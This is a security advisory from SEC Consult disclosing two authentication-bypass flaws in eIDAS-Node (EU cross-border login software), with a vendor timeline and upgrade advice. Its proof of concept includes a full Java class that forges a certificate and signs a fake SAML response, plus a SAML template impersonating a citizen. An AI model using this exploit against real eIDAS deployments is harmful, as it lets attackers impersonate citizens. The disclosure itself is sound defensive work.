eIDAS-Node versions 2.3 and below suffer from an authentication bypass vulnerability.
65072a0c9c2296301838749bb045f471SEC Consult Vulnerability Lab Security Advisory < 20191029-0 >
=======================================================================
title: Authentication Bypass
product: eIDAS-Node
vulnerable version: <=v2.3 (v2.1 vulnerability #2)
fixed version: v2.3.1
CVE number: -
impact: critical
homepage: https://ec.europa.eu/cefdigital/wiki/display/CEFDIGITAL/eIDAS-Node+Integration+Package
found: 2019-06
by: Wolfgang Ettlinger (Office Vienna)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult
Europe | Asia | North America
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"The eIDAS-Node software is a sample implementation of the eID eIDAS Profile. It
was developed by the European Commission with the help of Member States
collaborating in the technical sub-committee of the eIDAS Expert Group. The
eIDAS-Node software contains the necessary modules to help Member States to
communicate with other eIDAS-compliant counterparts in a centralised or
distributed fashion."
URL: https://ec.europa.eu/cefdigital/wiki/display/CEFDIGITAL/eIDAS-Node+Integration+Package
Business recommendation:
------------------------
During a short crash test SEC Consult identified critical vulnerabilities in
the eIDAS-Node software component (EU cross-border authentication). These
vulnerabilities could allow an attacker to impersonate any EU citizen.
SEC Consult recommends to immediately apply the patch provided by the vendor,
if this has not happened yet.
Moreover, SEC Consult recommends operators of eIDAS-Node installations to
conduct a forensic investigation into whether this vulnerability has already
been abused.
Vulnerability overview/description:
-----------------------------------
The communication between eIDAS Member States (MS) is based on SAML. The
eIDAS node of an MS providing a service to citizens of another MS sends a
SAML AuthNRequest to an eIDAS node that is capable of authenticating the citizen
through her national authentication scheme (e.g. id card authentication).
After the citizen has successfully authenticated, a SAML response is sent to the
requesting eIDAS node. To verify the authenticity of the SAML response,
eIDAS-Node verifies its signature and checks whether the signing certificate
is trusted.
Vulnerability #1: Certificate Faking
The verification of the certificate trust is implemented as follows:
1. The certificate is accepted if it is in the local trust store
2. Otherwise the issuer certificate of the entity certificate is retrieved from
either the local trust store or from the supplemental certificates in the
SAML response.
3. If a trust path can be established between the issuer certificate and a
certificate in the trust store, the entity certificate is accepted.
It was found that, in step 2, the application searches for the the issuer
certificate by comparing the Issuer DN of the entity certificate to the Subject
DN of the potential issuer certificates.
The application does not verify whether the entity certificate has been
correctly signed by the issuer certificate. Moreover, other checks, such as
whether the basic constraints of the issuer certificate allow it to act as a
certificate issuer are not verified.
An attacker can therefore sign a manipulated SAML response with a forged
certificate. The certificate must contain an Issuer DN that matches the subject
of a certificate in the trust store. The subject must contain the country of
the citizen (e.g. CN=FAKE, C=AT).
Vulnerability #2: Missing Certificate Validation
At least version 2.1 of the software uses the OpenSAML class
ExplicitKeyTrustEvaluator to check whether the signer certificate is trusted.
The method validate(...) returns a boolean value indicating whether trust could
be established. However, eIDAS-Node does not check the return value and
continues processing the SAML response. As effectively, the certificate's trust
is not verified, an attacker can sign the SAML response with any certificate.
This advisory demonstrates vulnerabilities against the endpoint that processes
SAML responses. Other endpoints (e.g. the ones that process SAML requests) are
likely affected as well (this has only partly been verified).
NOTE: The version 2.1 is no longer supported in favor of the version 2.3.1.
Proof of concept:
-----------------
Vulnerability #1: Certificate Faking
The following Java class demonstrates the attack:
----- snip -----
package com.sec_consult.eidas_node.autologin;
import java.io.InputStream;
import java.math.BigInteger;
import java.net.URI;
import java.security.InvalidKeyException;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.PrivateKey;
import java.security.PublicKey;
import java.security.cert.X509Certificate;
import java.util.Date;
import javax.annotation.Nonnull;
import javax.security.auth.x500.X500Principal;
import org.apache.commons.lang.RandomStringUtils;
import org.apache.xml.security.utils.EncryptionConstants;
import org.bouncycastle.x509.X509V3CertificateGenerator;
import org.opensaml.core.xml.config.XMLObjectProviderRegistrySupport;
import org.opensaml.saml.saml2.core.AuthnRequest;
import org.opensaml.saml.saml2.core.Response;
import org.opensaml.security.x509.BasicX509Credential;
import org.opensaml.security.x509.X509Credential;
import org.opensaml.xmlsec.signature.KeyInfo;
import org.opensaml.xmlsec.signature.Signature;
import org.opensaml.xmlsec.signature.support.SignatureConstants;
import org.opensaml.xmlsec.signature.support.Signer;
import eu.eidas.auth.commons.xml.opensaml.OpenSamlHelper;
import eu.eidas.auth.engine.core.impl.AbstractProtocolSigner;
import eu.eidas.auth.engine.xml.opensaml.CertificateUtil;
import eu.eidas.encryption.SAMLAuthnResponseEncrypter;
import eu.eidas.engine.exceptions.EIDASSAMLEngineException;
public class ResponseFaker {
/**
* Fake a response to an AuthnRequest
*
* @param request the request to be answered
* @param encryptedResponse any original response (only needed
* to get a valid issuer and the encryption certificate)
* @param sp the URL of the requesting SP
* @param auth the target of the AuthnRequest
*/
public String respondTo(String request, String encryptedResponse, URI sp,
URI auth) throws Exception {
AuthnRequest req = (AuthnRequest) OpenSamlHelper.unmarshall(request);
Response originalResp = (Response) OpenSamlHelper
.unmarshall(encryptedResponse);
X509Certificate origSignCert = CertificateUtil.toCertificate(
originalResp.getSignature().getKeyInfo().getX509Datas().get(0)
.getX509Certificates().get(0).getValue());
X509Certificate encCert = CertificateUtil.toCertificate(
originalResp.getEncryptedAssertions().get(0)
.getEncryptedData().getKeyInfo().getEncryptedKeys().get(0)
.getKeyInfo().getX509Datas().get(0)
.getX509Certificates().get(0).getValue());
String country = CertificateUtil.getCountry(origSignCert);
X500Principal subject = new X500Principal(
String.format("CN=FAKE, C=%s", country));
X500Principal issuer = origSignCert.getIssuerX500Principal();
BasicX509Credential signCredentials = createSignCredentials(issuer,
subject);
return createResponse(req.getID(), encCert, signCredentials,
sp.toString(), auth.toString(), country);
}
@SuppressWarnings("deprecation")
private BasicX509Credential createSignCredentials(X500Principal issuerDn,
X500Principal subjectDn) {
try {
KeyPairGenerator kpg = KeyPairGenerator.getInstance("RSA");
kpg.initialize(1024);
KeyPair keyPair = kpg.generateKeyPair();
PublicKey publicKey = keyPair.getPublic();
PrivateKey privateKey = keyPair.getPrivate();
X509V3CertificateGenerator certGen =
new X509V3CertificateGenerator();
certGen.setSerialNumber(new BigInteger("123"));
certGen.setIssuerDN(issuerDn);
certGen.setSubjectDN(subjectDn);
certGen.setNotBefore(new Date(0));
certGen.setNotAfter(new Date(2099, 1, 1));
certGen.setPublicKey(publicKey);
certGen.setSignatureAlgorithm("SHA256WithRSA");
return new BasicX509Credential(certGen.generate(privateKey),
privateKey);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
private String createResponse(String inResponseTo,
X509Certificate encCertificate,
BasicX509Credential signCredentials, String spPrefix,
String authPrefix, String country) throws Exception {
String template;
try (InputStream is = this.getClass().getClassLoader()
.getResourceAsStream("template.xml")) {
template = new String(is.readAllBytes());
}
template = template.replace("%SP_PREFIX%", spPrefix);
template = template.replace("%AUTH_PREFIX%", authPrefix);
template = template.replace("%COUNTRY%", country);
Response response = (Response) OpenSamlHelper.unmarshall(template);
response.setID(RandomStringUtils.randomAlphabetic(20));
response.setInResponseTo(inResponseTo);
SAMLAuthnResponseEncrypter sre = SAMLAuthnResponseEncrypter.builder()
.dataEncryptionAlgorithm(
EncryptionConstants.ALGO_ID_BLOCKCIPHER_AES256_GCM)
.keyEncryptionAlgorithm(
EncryptionConstants.ALGO_ID_KEYTRANSPORT_RSAOAEP)
.build();
response = sre.encryptSAMLResponse(response,
new BasicX509Credential(encCertificate), true);
Signature signature = createSignature(signCredentials, false);
response.setSignature(signature);
XMLObjectProviderRegistrySupport.getMarshallerFactory()
.getMarshaller(response).marshall(response);
Signer.signObject(signature);
return new String(OpenSamlHelper.marshall(response));
}
// from
// eu.eidas.auth.engine.core.impl.AbstractProtocolSigner
// .createSignature(X509Credential, boolean)
private Signature createSignature(@Nonnull X509Credential credential,
boolean onlyKeyInfoNoCert)
throws EIDASSAMLEngineException {
Signature signature;
signature = (Signature) XMLObjectProviderRegistrySupport
.getBuilderFactory()
.getBuilder(Signature.DEFAULT_ELEMENT_NAME)
.buildObject(Signature.DEFAULT_ELEMENT_NAME);
signature.setSigningCredential(credential);
signature.setSignatureAlgorithm(
"http://www.w3.org/2001/04/xmldsig-more#rsa-sha512");
KeyInfo keyInfo = AbstractProtocolSigner
.createKeyInfo(credential, onlyKeyInfoNoCert);
signature.setKeyInfo(keyInfo);
signature.setCanonicalizationAlgorithm(
SignatureConstants.ALGO_ID_C14N_EXCL_OMIT_COMMENTS);
return signature;
}
}
----- snip -----
The following SAML response was used as a template:
----- snip -----
<saml2p:Response
xmlns:ds="http://www.w3.org/2000/09/xmldsig#"
xmlns:eidas="http://eidas.europa.eu/attributes/naturalperson"
xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"
xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol"
Consent="urn:oasis:names:tc:SAML:2.0:consent:obtained"
Destination="%SP_PREFIX%/EidasNode/ColleagueResponse"
ID="replace"
InResponseTo="replace"
IssueInstant="2000-01-01T00:00:00.000Z" Version="2.0">
<saml2:Issuer
Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
%AUTH_PREFIX%/EidasNode/ServiceMetadata</saml2:Issuer>
<saml2p:Status>
<saml2p:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" />
<saml2p:StatusMessage>
urn:oasis:names:tc:SAML:2.0:status:Success
</saml2p:StatusMessage>
</saml2p:Status>
<saml2:Assertion
xmlns:eidas-legal="http://eidas.europa.eu/attributes/legalperson"
xmlns:eidas-natural="http://eidas.europa.eu/attributes/naturalperson"
ID="test"
IssueInstant="2000-01-01T00:00:00.000Z" Version="2.0">
<saml2:Issuer
Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
%AUTH_PREFIX%/EidasNode/ServiceMetadata</saml2:Issuer>
<saml2:Subject>
<saml2:NameID
Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified"
NameQualifier="http://C-PEPS.gov.xx">0123456</saml2:NameID>
<saml2:SubjectConfirmation
Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml2:SubjectConfirmationData
Address="0.0.0.0"
NotOnOrAfter="2030-01-01T00:00:00.000Z"
Recipient="%AUTH_PREFIX%/EidasNode/ColleagueResponse" />
</saml2:SubjectConfirmation>
</saml2:Subject>
<saml2:Conditions
NotBefore="2000-01-01T00:00:00.000Z"
NotOnOrAfter="2030-01-01T00:00:00.000Z">
<saml2:AudienceRestriction>
<saml2:Audience>
%SP_PREFIX%/EidasNode/ConnectorMetadata
</saml2:Audience>
</saml2:AudienceRestriction>
</saml2:Conditions>
<saml2:AuthnStatement
AuthnInstant="2000-01-01T00:00:00.000Z">
<saml2:AuthnContext>
<saml2:AuthnContextClassRef>
http://eidas.europa.eu/LoA/high
</saml2:AuthnContextClassRef>
<saml2:AuthnContextDecl />
</saml2:AuthnContext>
</saml2:AuthnStatement>
<saml2:AttributeStatement>
<saml2:Attribute FriendlyName="LegalName"
Name="http://eidas.europa.eu/attributes/legalperson/LegalName"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml2:AttributeValue
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:type="eidas-legal:LegalNameType">
Johann Wolfgang von Goethe
</saml2:AttributeValue>
</saml2:Attribute>
<saml2:Attribute FriendlyName="LegalPersonIdentifier"
Name="http://eidas.europa.eu/attributes/legalperson/LegalPersonIdentifier"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml2:AttributeValue
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:type="eidas-legal:LegalPersonIdentifierType">
%COUNTRY%/%COUNTRY%/12345
</saml2:AttributeValue>
</saml2:Attribute>
<saml2:Attribute FriendlyName="FamilyName"
Name="http://eidas.europa.eu/attributes/naturalperson/CurrentFamilyName"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml2:AttributeValue
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:type="eidas-natural:CurrentFamilyNameType">
Goethe
</saml2:AttributeValue>
</saml2:Attribute>
<saml2:Attribute FriendlyName="FirstName"
Name="http://eidas.europa.eu/attributes/naturalperson/CurrentGivenName"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml2:AttributeValue
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:type="eidas-natural:CurrentGivenNameType">
Johann Wolfgang
</saml2:AttributeValue>
</saml2:Attribute>
<saml2:Attribute FriendlyName="DateOfBirth"
Name="http://eidas.europa.eu/attributes/naturalperson/DateOfBirth"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml2:AttributeValue
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:type="eidas-natural:DateOfBirthType">
1749-08-28
</saml2:AttributeValue>
</saml2:Attribute>
<saml2:Attribute FriendlyName="PersonIdentifier"
Name="http://eidas.europa.eu/attributes/naturalperson/PersonIdentifier"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml2:AttributeValue
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:type="eidas-natural:PersonIdentifierType">
%COUNTRY%/%COUNTRY%/12345
</saml2:AttributeValue>
</saml2:Attribute>
</saml2:AttributeStatement>
</saml2:Assertion>
</saml2p:Response>
----- snip -----
Vulnerability #2: Missing Certificate Validation
The following listing shows an excerpt of the method
eu.eidas.auth.engine.xml.opensaml.CertificateUtil.checkExplicitTrust(...):
public static void checkExplicitTrust(...)
throws CertificateException {
[...]
final ExplicitKeyTrustEvaluator keyTrustEvaluator =
new ExplicitKeyTrustEvaluator();
keyTrustEvaluator.validate(
entityX509Cred,
(Iterable<Credential>) trustedCredentials);
}
As the return value of the validate method is not processed, any certificate
would be found valid. Therefore, with minor changes the exploit for
vulnerability #1 also works to exploit this scenario for version 2.1 (the
second parameter for sre.encryptSAMLResponse has to be set to false).
Vulnerable / tested versions:
-----------------------------
The version 2.3 was found to be vulnerable for vulnerability #1. This was the
latest version at the time of discovery.
Version 2.1 was found to be vulnerable to vulnerability #2.
Vendor contact timeline:
------------------------
2019-07-04: Contacting vendor through CEF-EID-SUPPORT AT ec.europa.eu
2019-07-09: Vendor asking for general information about vulnerability (affected
branch and modules)
2019-07-10: Providing requested information
2019-07-15: Vendor provided S/MIME certificates
2019-07-16: Sending encrypted advisory
2019-07-25: Vendor confirmed vulnerabilities, patch planned for v2.3.1,
vulnerability #2 has already been fixed before in v2.2
2019-08-01: Vendor: vulnerability was fixed, patch privately shared with
affected parties, asked for postponing the release due to
deployment timing in affected parties
2019-08-05: Asking for proposed new release date
2019-08-05: Vendor proposed 2019-09-20 as release date, SEC Consult proposed
2019-09-24 as new date
2019-08-08: Vendor: v2.3.1 has been released privately to MS
2019-09-02: Informing CERT.at and CERT-Bund about the security issues
2019-09-09: Due to delays in deployment by affected parties, vendor proposes
new release date of 2019-10-29
2019-10-16: Vendor confirms release date
2019-10-22: Sending preliminary blog post and advisory to vendor
2019-10-24: Conference call to discuss blog post and advisory with vendor
2019-10-29: Public release of the advisory
Solution:
---------
Upgrade to the latest version 2.3.1.
The updated version can be downloaded here:
https://ec.europa.eu/cefdigital/wiki/display/CEFDIGITAL/All+releases
Workaround:
-----------
None
Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
SEC Consult
Europe | Asia | North America
About SEC Consult Vulnerability Lab
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EOF Wolfgang Ettlinger / @2019